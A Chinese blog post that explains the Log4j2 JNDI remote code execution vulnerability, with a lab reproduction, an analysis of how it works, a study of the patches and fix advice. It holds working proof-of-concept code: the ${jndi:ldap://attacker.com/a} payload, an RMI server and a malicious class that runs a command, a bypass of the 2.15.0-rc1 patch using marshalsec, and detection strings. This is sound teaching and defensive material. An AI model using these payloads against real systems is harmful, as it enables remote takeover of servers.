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Log4j2 远程执行代码漏洞如何攻击? 又如何修复

作者:琦彦
  • 2022 年 10 月 08 日
    河南
  • 本文字数:8414 字

    阅读完需:约 28 分钟

Log4j2远程执行代码漏洞如何攻击? 又如何修复

12 月 9 日晚,Apache Log4j2 反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2 中存在 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。


Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。 因该组件使用极为广泛,利用门槛很低,危害极建议所有用户尽快升级到安全版本。

漏洞描述

高危,该漏洞影响范围极广,利用门槛很低,危害极大。


CVSS 评分:10(最高级)


漏洞版本影响

Apache log4j2 2.0 - 2.14.1 版本均受影响。

安全版本

Apache log4j-2.15.0-rc2 (2.15.0-rc1 版)

区分是 Log4j 还是 Log4j2

有些人分不清自己用的是 Log4j 还是 Log4j2。这里给出几个辨别方法:


  1. Log4j2 分为 2 个 jar 包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j 只有一个 jar 包log4j-${版本号}.jar

  2. Log4j2 的版本号目前均为 2.x。Log4j 的版本号均为 1.x。

  3. Log4j2 的 package 名称前缀为org.apache.logging.log4j。Log4j 的 package 名称前缀为org.apache.log4j

漏洞复现

漏洞攻击步骤

  • 攻击者执行恶意脚本。


  1. 用户发送数据到服务器,不管什么协议,http 也好,别的也好

  2. 服务器记录用户请求中的数据,数据中包含恶意 payload:${jndi:ldap://attacker.com/a},其中 attacker.com 是攻击者的服务器

  3. log4j 向 attacker.com 发送请求(jndi)时触发漏洞,因为有个$符号

  4. log4j 收到的 jndi 响应中包含一个 java class 文件路径,比如是 http://second-stage.attacker.com/Exploit.class,这个 class 文件会被 log4j 所运行在的服务器加载运行

  5. 第 4 步中注入的 java class 文件中的代码是攻击者的攻击代码



操作系统 windows10jdk: jdk1.8

需要的依赖

 <!--log4j2核心包-->            <dependency>                <groupId>org.apache.logging.log4j</groupId>                <artifactId>log4j-api</artifactId>                <version>2.14.0</version>            </dependency>            <dependency>                <groupId>org.apache.logging.log4j</groupId>                <artifactId>log4j-core</artifactId>                <version>2.14.0</version>            </dependency>            <!--使用yml配置log4j2-->            <dependency>                <groupId>com.fasterxml.jackson.dataformat</groupId>                <artifactId>jackson-dataformat-yaml</artifactId>                <version>2.12.3</version>            </dependency>            <!-- slf4j核心包-->            <dependency>                <groupId>org.slf4j</groupId>                <artifactId>slf4j-api</artifactId>                <version>1.7.32</version>            </dependency>            <!--用于与slf4j保持桥接-->            <dependency>                <groupId>org.apache.logging.log4j</groupId>                <artifactId>log4j-slf4j-impl</artifactId>                <version>2.14.0</version>            </dependency>        <!--log4j2核心包-->
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项目目录结构

模拟运行存在漏洞 log4j2 的服务器

import org.slf4j.Logger;import org.slf4j.LoggerFactory;
/** * @Title: 模拟运行存在漏洞log4j2的服务器 * @ClassName: geektime.log.ServerTest.java * @Description: * * @Copyright 2020-2021 - Powered By 研发中心 * @author: 琦彦 * @date: 2021/12/26 16:23 * @version V1.0 */public class ServerTest {
private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);
public static void main(String[] args) {
//有些高版本jdk需要打开此行代码 //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
// 模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1 // ${jndi:rmi//127.0.0.1:1099/evil},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil上的变量内容。 String username = "${jndi:rmi://127.0.0.1:1099/evil}"; //正常打印业务日志 logger.error("username:{}",username); }}
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准备好 RMI 服务端,等待受害服务器访问

package geektime.log;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;

/** * @Title: 准备好RMI服务端,等待受害服务器访问 * @ClassName: geektime.log.RMIServer.java * @Description: * * @Copyright 2020-2021 - Powered By 研发中心 * @author: 琦彦 * @date: 2021/12/26 16:23 * @version V1.0 */public class RMIServer { public static void main(String[] args) { try { // 本地主机上的远程对象注册表Registry的实例,默认端口1099 LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099"); //返回的Java对象 第一个参数为包路径 Reference reference = new Reference("geektime.log.EvilCode","geektime.log.EvilCode",null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); // 把远程对象注册到RMI注册服务器上,并命名为evil registry.bind("evil",referenceWrapper); // registry.bind("evil",new EvilCode()); } catch (RemoteException | AlreadyBoundException | NamingException e) { e.printStackTrace(); } }}
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恶意代码(打开计算器)

package geektime.log;
import java.io.*;import java.rmi.Remote;

/** * @Title: 执行任意的脚本,目前的脚本会使windows打开计算器 * @ClassName: geektime.log.EvilCode.java * @Description: * * @Copyright 2020-2021 - Powered By 研发中心 * @author: 琦彦 * @date: 2021/12/26 16:23 * @version V1.0 */public class EvilCode { static { System.out.println("受害服务器将执行下面命令行"); Process p;
String[] cmd = {"calc"}; try { p = Runtime.getRuntime().exec("calc"); InputStream fis = p.getInputStream(); InputStreamReader isr = new InputStreamReader(fis); BufferedReader br = new BufferedReader(isr); String line = null; while((line=br.readLine())!=null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } }

}
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效果

问题记录

类名打印出来了,但是没有启动计算器

仅输出:username:Reference Class Name: EvilCode,未调用计算器


Reference reference = new Reference("log.EvilCode","log.EvilCode",null);
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第一个和第二个参数为包路径, 需要更具自己的情况调整修改

漏洞攻击原理

JNDI

JNDI(Java Naming and Directory Interface,Java 命名和目录接口),是 Java 提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象


NDI 由三部分组成:JNDI API、Naming Manager、JNDI SPI。


JNDI API 是应用程序调用的接口,

JNDI SPI 是具体实现,

应用程序需要指定具体实现的 SPI。


下图是官方对 JNDI 介绍的架构图:


Log4j2 Lookup

Log4j2 的 Lookup 主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是 MDC 中的变量,还可以是日志上下文数据等。


下面是一个简单的 Java Lookup 例子和输出:


/** * @Title: Log4j2的Lookup功能 * @ClassName: geektime.log.Log4j2Lookup.java * @Description: * * @Copyright 2020-2021 - Powered By 研发中心 * @version V1.0 */import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.ThreadContext;
public class Log4j2Lookup { public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);
public static void main(String[] args) { ThreadContext.put("userName", "琦彦同学,你好"); LOGGER.error("userName: ${ctx:userName}"); }}
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输出结果


16:33:21.448 [main] ERROR geektime.log.Log4j2Lookup - userName: 琦彦同学,你好
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从上面的例子可以看到,通过在日志字符串中加入"${ctx:userName}",Log4j2 在输出日志时,会自动在 Log4j2 的ThreadContext中查找并引用userName变量。格式类似"${type:var}",即可以实现对变量 var 的引用。type 可以是如下值:


  • ctx:允许程序将数据存储在 Log4j ThreadContextMap 中,然后在日志输出过程中,查找其中的值。

  • env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}

  • java:允许查找 Java 环境配置信息。例如:${java:version}

  • jndi:允许通过 JNDI 检索变量。

  • ......


其中和本次漏洞相关的便是 jndi,例如上文漏洞浮现中模拟的:${jndi:rmi://127.0.0.1:1099/evil},表示通过 JNDI Lookup 功能,获取rmi//127.0.0.1:1099/evil上的变量内容。


 import org.apache.log4j.Logger;  import java.io.*; import java.sql.SQLException; import java.util.*;  public class VulnerableLog4jExampleHandler implements HttpHandler {    static Logger log = Logger.getLogger(log4jExample.class.getName());    /**    * A simple HTTP endpoint that reads the request's User Agent and logs it back.    * This is basically pseudo-code to explain the vulnerability, and not a full example.    * @param he HTTP Request Object    */   public void handle(HttpExchange he) throws IOException {     string userAgent = he.getRequestHeader("user-agent");          // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.     // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}     log.info("Request User Agent:" + userAgent);      String response = "<h1>Hello There, " + userAgent + "!</h1>";     he.sendResponseHeaders(200, response.length());     OutputStream os = he.getResponseBody();     os.write(response.getBytes());     os.close();   } }
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根据上面提供的攻击代码,攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。

JNDI 注入

由前面的例子可以看到,JNDI 服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI 还支持从指定的远程服务器上下载 class 文件,加载到本地 JVM 中,并通过适当的方式创建对象。


“class 文件加载到本地 JVM 中,并通过适当的方式创建对象”,在这个过程中,static 代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI 注入正是基于这个思路实现的。

JNDI 注入原理

由于是 JNDI 注入,因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:



整个调用堆栈较深,这里把几个关键点提取整理如下:


LOGGER.error  ......    MessagePatternConverter.format      ....        StrSubstitutor.resolveVariable          Interpolator.lookup            JndiLookup.lookup              JndiManager.lookup                InitialContext.lookup
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1. MessagePatternConverter.format()

poc 代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用 StrSubstitutor 进行进一步解析。


2. StrSubstitutor.resolveVariable()

StrSubstitutor 将${}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现 Lookup 功能。


3. Interpolator.lookup()

Interpolator 实际是一个实现 Lookup 功能的代理类,该类在成员变量strLookupMap中保存着各类 Lookup 功能的真正实现类。Interpolator 对 上一步提取出的内容解析后,从strLookupMap获得 Lookup 功能实现类,并调用实现类的lookup()方法。


例如对 poc 例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的 Lookup 功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。


4. JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取 JNDI 对象后,调用该对象上的toString()方法,最终返回该字符串。


5. JndiManager.lookup()

JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。


至此,后续即可以按照常规的 JNDI 注入路径进行分析。

漏洞补丁分析

2.15.0-rc1

通过比较 2.15.0-rc1 和该版本之前最后一个版本 2.14.1 之间的差异,可以发现 Log4j2 团队在 12 月 5 日提交了一个名为Restrict LDAP access via JNDI (#608)的 commit。该 commit 的详细内容如下链接:


https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3


除去一些测试代码和辅助代码,该 commit 最主要内容是在上文中提到的 JndiManager.lookup()方法增加了几种限制,分别是allowedHostsallowedClassesallowedProtocols



各个限制的内容分别如下:





可以看到,rc1 补丁通过对 JNDI Lookup 增加白名单的方式,限制默认可以访问的主机为本地 IP,限制默认支持的协议类型为javaldapldaps,限制 LDAP 协议默认可以使用的 Java 类型为少数基础类型,从而大大减少了默认的攻击面。

4.2 2.15.0-rc2

4.2.1 rc1 中存在的问题


在 rc1 还未正式成为 release 版本之前,Log4j 团队又在两天不到的时间里发布了 rc2 版本,说明 rc1 依然存在着一些问题。我们来看下 rc1 里主要修复的JndiManager.lookup()方法的整体逻辑结构:


public synchronized <T> T lookup(final String name) throws NamingException {        try {            URI uri = new URI(name);            if (uri.getScheme() != null) {                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {                    ......                    return null;                }                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {                    if (!allowedHosts.contains(uri.getHost())) {                        ......                        return null;                    }                    ......                    if (!allowedClasses.contains(className)) {                        ......                        return null;                    }                    ......                }            }        } catch (URISyntaxException ex) {            // This is OK.        }        return (T) this.context.lookup(name);    }
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从上面的代码结构中可以总结如下的逻辑:


  • 对传入的name参数进行4.1章节提到的各类检查。如果检查不通过,则直接返回null

  • 如果产生URISyntaxException,则对该异常忽略,继续执行this.context.lookup(name)

  • 如果未产生URISyntaxException,则执行this.context.lookup(name)


我们重点关注catch代码块,rc1 默认不对URISyntaxException异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)


再看下try代码块中可能产生URISyntaxException的地方。很不幸,try代码块的第一个语句即可能产生该异常:URI uri = new URI(name);


试想一下,如果能够构造某个特殊的 URI,导致URI uri = new URI(name);语句解析 URI 异常,抛出URISyntaxException,但又能被this.context.lookup(name)正确处理,不就可以绕过了吗?

4.2.2 绕过 rc1

由于 rc1 未在 maven 中央仓库上,因此需要自行下载代码并构建:


到 Log4j2 的 GitHub 官方仓库下载 rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行`mvn clean install -DskipTests`。最终会在本地 maven 仓库上生成 rc1 的 jar 包,版本为 2.15.0,后续测试使用该 jar 包。


由于 rc1 默认未开启 Lookup 功能,需要先开启,可以通过在配置文件的%msg中添加{lookup}进行开启。在当前类路径下添加 log4j2.xml,内容参考如下:


<Configuration>    <Appenders>        <Console name="CONSOLE">            <PatternLayout>                <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>            </PatternLayout>        </Console>    </Appenders>    <Loggers>        <Root level="DEBUG">            <AppenderRef ref="CONSOLE"/>        </Root>    </Loggers></Configuration>
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  1. 漏洞利用代码和上文中一致,编译生成 Exploit.class。

  2. 本地执行python3 -m http.server 8081,启动 web 服务器,监听在 8081 端口。将上一步编译生成的 Exploit.class 文件放到 web 服务的根目录(根目录即为执行python3 -m http.server 8081命令的工作目录)。

  3. 由于 rc1 中默认仅支持javaldapldaps这三种协议,就使用 LDAP 协议吧。自己搭建 LDAP 服务器比较麻烦,这里直接利用下marshalsec这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888,启动 LDAP 服务。

  4. 编写漏洞 poc 代码,并编译运行。代码和运行结果如下:


import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class Log4j2RC1Bypass { public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);
public static void main(String[] args) { LOGGER.error("${jndi:ldap://127.0.0.1:8888/exp}"); }}
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可以看到,通过构建一个简单的带空格的异形 URI 地址(127.0.0.1:8888/exp之间),rc1 被绕过了。

4.2.3 rc2 的修复方案

通过比较 2.15.0-rc1 和 2.15.0-rc2 之间的差异,可以发现 Log4j2 团队在 12 月 10 日提交了一个名为Handle URI exception的 commit。该 commit 的详细内容如下链接:


https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658


该 commit 主要内容是对 rc1 中JndiManager.lookup()方法里的catch代码块进行了修改:当URISyntaxException异常被捕获时,直接返回null。从而无法使用上一章节的异形 URI 地址绕过。


漏洞修复建议

检测方案

(1)建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求.

(2)建议企业可以通过监测相关流量或者日志中是否存在jndi:ldap://jndi:rmi等字符来发现可能的攻击行为。

修复方案

检查所有使用了 Log4j 组件的系统,并尽快升级到最新的 log4j-2.15.0-rc2 版本

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